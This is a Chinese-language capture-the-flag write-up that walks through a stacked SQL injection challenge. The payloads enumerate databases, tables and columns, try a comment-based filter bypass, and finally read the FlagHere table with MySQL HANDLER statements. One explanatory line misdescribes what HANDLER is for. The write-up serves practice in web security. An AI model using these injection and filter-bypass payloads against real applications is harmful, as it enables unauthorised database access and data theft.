打开题目,有一个1直接点击提交看看,返回了一组数组
然后加上一个单引号在提交。出现了报错,说明存在sql注入猜测是堆叠注入
为了防止1的干涉,用2来进行但是只输入2是没有回应的
所以使用2';show databases;# 来查看所有的数据库
然后来输入2'; show tables;#来查看数据库的表
然后我们通过FlagHere表来查看列输入2';show columns from FlagHere;# 来查看列
到了这一步了,我觉得就可以直接查看flag了,但是我查询的时候却出现了过滤字符
命令为2';select flag from FlagHere ;#这里我没有用反引号,我做题看有一个大佬在FlagHere上加了反引号,代表整个FlagHere是一个表的意思,但是不加也是一样的效果
没有得到flag于是我们想到/**/可以绕过检查所以构造playload为2';s/**/elect flag from FlagHere;#但是结果啥都没有
然后查看网上的大佬还有这种方式
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
-
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE -
然后我们重新构造playload为0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
-
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
这段SQL代码片段看起来像是针对MySQL数据库的SQL注入攻击尝试,它利用了MySQL特定的句法特性(如HANDLER语句)来尝试获取或操作名为FlagHere
的表的数据 -
HANDLER FlagHere OPEN
:在MySQL中,HANDLER语句用于处理存储过程内部的表或临时表。这个命令会打开一个名为FlagHere
的表以进行行级锁定和读取操作。 -
HANDLER FlagHere READ FIRST
:紧接着,READ FIRST
指令尝试从已打开的FlagHere
表中读取第一条记录。 -
HANDLER FlagHere CLOSE
:最后,CLOSE
命令用于关闭先前通过OPEN
语句打开的表句柄,释放相关资源。 -
;
分号用于分隔不同的SQL命令。 -
#
在MySQL中通常表示注释符,用于注释掉该符号后面直到行尾的内容,但在这里可能是企图绕过某些安全检查。 -
获取到flag解题成功